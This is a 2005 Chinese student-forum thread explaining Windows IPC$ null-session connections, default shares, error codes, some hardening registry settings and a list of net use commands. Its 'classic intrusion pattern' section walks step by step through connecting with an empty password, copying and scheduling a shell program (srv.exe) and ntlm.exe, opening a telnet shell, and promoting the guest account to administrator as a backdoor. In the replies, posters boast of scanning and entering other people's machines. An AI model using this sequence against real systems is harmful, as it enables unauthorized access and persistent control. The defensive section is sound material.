下沙论坛

 找回密码
 注册论坛(EC通行证)

QQ登录

QQ登录

下沙大学生网QQ群8(千人群)
群号:6490324 ,验证:下沙大学生网。
用手机发布本地信息严禁群发,各种宣传贴请发表在下沙信息版块有问必答,欢迎提问 提升会员等级,助你宣传
新会员必读 大学生的论坛下沙新生必读下沙币获得方法及使用
查看: 3125|回复: 14
打印 上一主题 下一主题

ipc$连接详解(菜鸟进)

[复制链接]

该用户从未签到

跳转到指定楼层
1
发表于 2005-5-20 23:49:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
       什么是ipc$
5 a: m+ ]' t2 B+ u4 dIPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
2 F& i/ j5 R- g- z! ~+ k利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。1 ~! W$ z1 u* z* X/ Q. [
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
/ f% e: m* H) g% R所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.3 h+ b% Z. K2 ^; v
8 Z/ Q( F& e  Q% X" a
解惑:9 t6 Q0 M# z0 R( |* g
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。0 o3 w7 D+ n( _! S2 U) u
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
+ \6 t, t9 z0 N2 u2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接4 e1 |5 F. @2 |! w6 R
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表8 K- G9 q$ t: k) w
$ T# d+ V: S, r9 c

7 }# ^) N* h1 \. {' F6 O三 建立ipc$连接在hack攻击中的作用
7 d- w' @2 v! ~, E" u4 b; ~& b) e9 J就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!2 L1 I1 l7 j/ i. G) O
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)) r" U: N3 d) o- j2 [- b. q' G
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的 : P5 F8 d, b) w8 C5 c) j% n5 ?# d
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接./ n$ A. X2 [( h. [$ P% k$ O
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.
% d+ L( {5 w1 b" e: E' M. a6 l, h8 [1 U4 {: `5 r
/ k% [9 D3 j! d3 H9 ~
四 ipc$与空连接,139,445端口,默认共享的关系. S/ P" l. B, }; Y- k& d0 k
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)
7 M! X! ]9 B# L& }
9 l0 n  c* M7 l1)ipc$与空连接:
* E$ P2 X; L0 N$ N/ g不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
3 I$ R' n! d+ }许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).# O* B0 o. P, j. U5 H$ S  M$ t. G! n
2)ipc$与139,445端口:6 n" S# b& A8 D  b# h/ a1 R
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
1 k% a, n8 I$ M* n2 Q. `3)ipc$与默认共享
3 z& f' g2 o- K9 K: {3 Z默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享). N/ Y* N1 C* _! q: p% e3 H* q, t

) A4 @6 Y, G# W% u: N
! t  V! Z. R# B/ j' g- X五 ipc$连接失败的原因
* Z4 [1 j, K4 \7 m) m0 D以下5个原因是比较常见的:
5 \1 {. c+ X% c: D  W+ B# r1)你的系统不是NT或以上操作系统;( v0 W, v8 _9 v. U
2)对方没有打开ipc$默认共享! H% @, B7 k) K6 H
3)对方未开启139或445端口(惑被防火墙屏蔽)
! i0 n6 u' c7 }: n. C4)你的命令输入有误(比如缺少了空格等)
- {! ?. W5 V' Q1 V2 [. J5)用户名或密码错误(空连接当然无所谓了)
) X3 _1 [6 _# L- Y) [% G- |4 k另外,你也可以根据返回的错误号分析原因: ) _6 N- C" Y+ e% N0 k: [" u
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
+ g* W- A- M  T" i( J5 ^. O错误号51,Windows 无法找到网络路径 : 网络有问题; + \* s# b  b; A! C  K# _0 {
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); $ Y3 ]( C) _# i+ n
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; ' z( w' s; a0 N6 W' ], i; M! Q
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 & E: K" U! O8 v% f8 K% L* e2 q
错误号1326,未知的用户名或错误密码 : 原因很明显了;
; {; E) v+ Y( t8 P8 }4 Z+ l) T错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
( Z1 Y9 x8 c3 L# E错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。 - \; d' A( f  @- r( D8 |+ x
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就*大家自己体会和试验了.
4 j6 L) _. T8 \) |
% J; }5 h5 B. @% X8 [0 y8 K0 j" ~) H/ a( g2 @
六 如何打开目标的IPC$(此段引自相关文章) 2 `' E+ o. K0 p. }+ x: S# A
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。 6 K9 v( {8 Q4 |" H+ M% J8 j

& ^/ ~; c4 t7 h! O( f% R# ~9 q# f2 g: Z- W6 x4 o1 {# y
七 如何防范ipc$入侵
" q6 p3 f5 z1 u4 p5 `$ h1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
  g" l' ]# B9 ^7 Z首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
/ D9 y) n  M- S& N
/ b2 _0 S6 r1 [8 p0 t8 d# @) ^2禁止默认共享
  Y4 O3 {' V( D1)察看本地共享资源1 J. Q! I: u+ [1 K: f+ ~6 E
运行-cmd-输入net share
6 ~3 u3 m8 V- [# T' @* D2)删除共享(每次输入一个)0 ~' N7 B1 X9 ]% R9 R1 l  k- Y
net share ipc$ /delete
: w4 J8 U2 y" E9 b) Enet share admin$ /delete
4 w5 o. ?" s  e! Z' H& wnet share c$ /delete
4 Y8 l* M* F! a# unet share d$ /delete(如果有e,f,……可以继续删除): T0 T% W$ j# D* X# i0 M
3)停止server服务
+ ^) ~, Z8 ~. ]& s0 g6 w7 jnet stop server /y (重新启动后server服务会重新开启)! H% L) c+ y0 X
4)修改注册表
# p1 F' h3 T/ Z9 R运行-regedit
+ Z  k) X4 Z6 D$ Cserver版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。   W7 l1 }( M  v4 @8 D0 G5 W
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。 - {* h# r: o8 _* O( h
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
. _6 v" M% c8 f: Q( R  n& Z: X& C1 g. x; A( ?# [: x- O
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务5 x  T! v+ a& l; b2 e) m& E
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用4 G* D' B8 k2 m! w$ w
! A8 _1 P3 q& @) @# B/ E
4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
8 m- @) J1 T8 k+ C8 y, K; u" D& ]0 m0 s
5设置复杂密码,防止通过ipc$穷举密码
+ m/ ^) k3 x5 \% P) ^* o# K6 `2 c1 d* k: D3 F: U$ v1 n

; z4 c6 z) C  p* E/ `+ o" V5 `0 j八 相关命令
1 {+ [! r4 g. R+ Q; w" E1)建立空连接:/ D' {) u. X4 }( B" x6 r- |( h
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格) 6 t7 ]- U. ~7 F) y
2 o$ A  i/ g3 r1 t
2)建立非空连接:  u) x. p. C$ L0 X; R4 s2 t& v
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)
6 G$ N  U- \# h  m% u) {( l& D5 T+ \3 z5 w2 l: M7 V
3)映射默认共享:7 D- A) `/ u9 J+ H
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
0 k  C$ \$ u, k如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$6 ]" M) U& o4 V
( }  ~; P6 @" R3 c5 k
4)删除一个ipc$连接
9 ?4 ]& C% d* Q1 W* {! xnet use \\IP\ipc$ /del ( h3 f7 A+ v$ }5 Y1 ^$ s4 U5 f
' _; j0 q' d; x2 m
5)删除共享映射
7 V, Q7 h) }8 Enet use c: /del 删除映射的c盘,其他盘类推 - T0 t2 @( u' P7 `1 J' N4 S
net use * /del 删除全部,会有提示要求按y确认" ]' o) V, x- K8 Y9 ~7 W% O9 V
$ ^8 N7 G% l% I- s+ ?

0 w6 a1 e- d/ h& r5 S九 经典入侵模式3 _  q1 i5 e% i6 X; i
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
8 |% V' g8 C$ z- j3 r' `$ n6 T* K1 B: P' k
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
! T- I5 ^5 S/ C; |9 B这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
( U: N+ O$ `0 X# t( a  
: t4 D' k7 M* f2 M  ?: S8 x, F2. C:\>copy srv.exe \\127.0.0.1\admin$ 8 k9 A. k& z; o, P5 w1 R. H
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。" @: \. b8 U' B- P4 S9 l$ H
  " \" `% A* K2 L) S
3. C:\>net time \\127.0.0.1
$ N3 a2 B( ]' w: a查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。& q6 P& p, X. Y+ C/ f" {
  9 ~" Y" }7 ^9 l' k- E0 }
4. C:\>at \\127.0.0.1 11:05 srv.exe
, O: r' w2 C/ P8 O( e用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
4 G: v- _' Z( _3 @9 u0 x3 O5 e: K( X% t  
1 @8 _6 J9 B# g0 s4 w5. C:\>net time \\127.0.0.16 l8 Z: B1 U  G
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
/ n6 G4 J7 K1 O4 O    C1 g9 P# O3 ]8 l4 I
6. C:\>telnet 127.0.0.1 99
4 \7 u! c4 ]) I$ K/ v; Q这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
: m' O# j1 m9 J& f; e. a+ m; {虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
8 J! w" `0 p- R: Q  
. I3 a$ b; S  u! v: R7.C:\>copy ntlm.exe \\127.0.0.1\admin$
/ b! \% t6 @, @% {; a4 s/ y2 q$ @6 {# b用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  D9 C" O* h( h  
3 B! H, r2 q: A! j. m! Y8. C:\WINNT\system32>ntlm
1 r. H3 U5 r1 R& x, ]( I+ e输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! & R: N& h# A' l7 X) }( y

  B, B$ k& E" \/ }9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
2 B* _; q- I% q3 I7 r0 w
* C0 m% V/ e) g# u0 ~为了以防万一,我们再把guest激活加到管理组
% S$ D9 b) g2 ]8 J& S  [10. C:\>net user guest /active:yes
5 C) Z2 h0 |1 L1 w8 E% \, U将对方的Guest用户激活% F4 D! B0 a; A  F9 l

! z& \3 |6 U  U- V% _: i6 t* N11. C:\>net user guest 1234
" ~' S2 X/ U8 v% u( W1 _. z) A3 W8 L将Guest的密码改为1234,或者你要设定的密码
+ m. p. R/ {7 F" V& W' I; k  ?/ o3 w! j4 q% j- U& f# `
12. C:\>net localgroup administrators guest /add
9 D- P4 B7 [$ M% Y  V( Q4 }; {! V将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)& G' w4 h' s- c: K! h/ a7 Y
[此贴子已经被作者于2005-5-20 23:56:51编辑过]
) _! N* v  n& I3 h. P" Y  q
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 分享分享 顶 踩

该用户从未签到

2
发表于 2005-5-21 00:20:00 | 只看该作者

天呐..

我再一次成为菜鸟~~~~~~~~~

以后你的贴子,我跟定了......

该用户从未签到

3
 楼主| 发表于 2005-5-21 16:48:00 | 只看该作者
人要不要也和我走?

该用户从未签到

4
发表于 2005-5-27 09:01:00 | 只看该作者
汗~~~~~~~

该用户从未签到

5
发表于 2005-5-27 11:59:00 | 只看该作者
在XP SP2的潮流下,基本没有用……

该用户从未签到

6
发表于 2005-5-27 19:45:00 | 只看该作者

在XP SP2的潮流下,基本没有用……

在XP下就基本没用了 q1 T6 B8 E6 ]* Z

该用户从未签到

7
 楼主| 发表于 2005-5-27 19:47:00 | 只看该作者
没用?

该用户从未签到

8
 楼主| 发表于 2005-5-27 19:54:00 | 只看该作者
是没啥用处了。只是扫到一堆一堆sa用户为空的用户。~

该用户从未签到

9
发表于 2005-5-28 00:16:00 | 只看该作者
主要是XP默认是关闭远程ICP$连接的……

该用户从未签到

10
 楼主| 发表于 2005-5-28 15:21:00 | 只看该作者
不关不关的问题。。有工具可用的嘛。但是命令是不能不记的。~~~``昨天又扫到两台。进去逛了逛,没得啥有价值的东西

该用户从未签到

11
发表于 2005-5-31 18:01:00 | 只看该作者
我扫到N台了......... 没好玩的东东.

该用户从未签到

12
发表于 2005-6-3 17:36:00 | 只看该作者
在学校上网防火墙整天报警,原来就是你呀,。。

该用户从未签到

13
发表于 2005-6-7 15:50:00 | 只看该作者

还好.. 我没在学校上网.......... 还好... 扫的不是学校的..

所以.....不是我.

该用户从未签到

14
发表于 2005-6-20 17:39:00 | 只看该作者

唉。。。。。老“游戏”了,现在装XP的人多了,安全意识也高了,不像前几年那么有意义了。不过这还是“黑客”入门必修之课。哈哈哈

  • TA的每日心情
    难过
    2018-5-8 02:57
  • 签到天数: 22 天

    [LV.4]偶尔看看III

    15
    发表于 2005-6-22 22:38:00 | 只看该作者
    777777

    本版积分规则

    关闭

    下沙大学生网推荐上一条 /1 下一条

    快速回复 返回顶部 返回列表